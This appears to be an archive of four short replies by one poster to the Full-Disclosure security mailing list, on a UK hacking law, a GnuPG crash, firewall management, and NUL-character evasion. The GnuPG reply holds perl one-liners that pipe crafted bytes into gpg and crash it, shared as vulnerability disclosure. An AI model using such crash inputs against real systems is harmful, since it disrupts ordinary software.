Re: [Full-disclosure] DoS kiddiots can face 10 years in jail

2006-11-14 Thread Steffen Kluge
On Mon, 2006-11-13 at 13:13 -0500, J. Oquendo wrote:
 The new law also makes it an offence to supply or make available any 
 software or tools that could be used to commit hacking or denial of 
 service attacks, and those found guilty under this section of the act 
 face up to two years in jail.

Sounds like this list will have to move someplace else soon...

Cheers
Steffen.


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] GnuPG fun

2006-05-31 Thread Steffen Kluge
On Wed, 2006-05-31 at 15:55 +0400, Evgeny Legerov wrote:
 $ perl -e 'print \xcd\xff\xff\xff\xff\xfe'| /var/gnupg/bin/gpg --no-armor
 gpg: /home/ggg/.gnupg/options:82: deprecated option honor-http-proxy
 gpg: please use keyserver-options http-proxy instead
 
 gpg: Segmentation fault caught ... exiting
 Segmentation fault

Something wrapping around?

$ perl -e 'print \xcd\xff\xff\xff\xff\xaf'|gpg --no-armor
gpg: out of  memory while allocating 4294967295 bytes

$ perl -e 'print \xcd\xff\xff\xff\xff\xb0'|gpg --no-armor

gpg: Segmentation fault caught ... exiting

4294967295 is 0x, of course.

Also works with gpg2 (v.1.9.20)

Cheers
Steffen.



signature.asc
Description: This is a digitally signed message part
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] HTTP AUTH BASIC monowall.

2006-03-13 Thread Steffen Kluge
On Mon, 2006-03-13 at 15:37 -0500, Simon Smith wrote:
 What is the solution to this problem? Is there a solution that does
 not require a different auth type?

For firewalls? Out-of-band management. In-band management is a big, bold
invitation.

Cheers
Steffen.



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] NUL Character Evasion

2005-09-16 Thread Steffen Kluge
On Tue, 2005-09-13 at 23:24 +0200, [EMAIL PROTECTED] wrote:
 Internet Explorer ignores NUL characters
 -- i.e. ascii characters with the value 0x00 -- most
 security software does not.

Interesting. Did you test this with Outlook as well?

Cheers
Steffen.



signature.asc
Description: This is a digitally signed message part
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/